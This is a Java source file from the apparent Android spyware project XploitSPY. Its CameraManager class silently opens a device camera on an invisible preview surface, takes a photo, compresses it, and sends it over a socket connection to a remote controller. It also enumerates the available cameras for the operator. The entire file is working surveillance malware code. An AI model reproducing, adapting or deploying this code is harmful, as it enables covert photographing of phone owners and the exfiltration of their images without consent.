XploitSPY/client/app/src/main/java/com/remote/app/CameraManager.java

128 lines
3.7 KiB
Java

package com.remote.app;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.SurfaceTexture;
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.Parameters;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
public class CameraManager {
private Context context ;
private Camera camera;
public CameraManager(Context context) {
this.context = context;
}
public void startUp(int cameraID){
camera = Camera.open(cameraID);
Parameters parameters = camera.getParameters();
camera.setParameters(parameters);
try{
camera.setPreviewTexture(new SurfaceTexture(0));
camera.startPreview();
} catch (Exception e) {
e.printStackTrace();
}
camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
releaseCamera();
sendPhoto(data);
}
});
}
private void sendPhoto(byte [] data){
try {
Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
JSONObject object = new JSONObject();
object.put("image",true);
object.put("buffer" , bos.toByteArray());
IOSocket.getInstance().getIoSocket().emit("0xCA" , object);
} catch (JSONException e) {
e.printStackTrace();
}
}
private void releaseCamera(){
if (camera != null) {
camera.stopPreview();
camera.release();
camera = null;
}
}
public JSONObject findCameraList() {
if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
return null;
}
try {
JSONObject cameras = new JSONObject();
JSONArray list = new JSONArray();
cameras.put("camList",true);
// Search for available cameras
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++) {
Camera.CameraInfo info = new Camera.CameraInfo();
Camera.getCameraInfo(i, info);
if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
JSONObject jo = new JSONObject();
jo.put("name", "Front");
jo.put("id", i);
list.put(jo);
}
else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
JSONObject jo = new JSONObject();
jo.put("name", "Back");
jo.put("id", i);
list.put(jo);
}
else {
JSONObject jo = new JSONObject();
jo.put("name", "Other");
jo.put("id", i);
list.put(jo);
}
}
cameras.put("list" , list);
return cameras;
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
}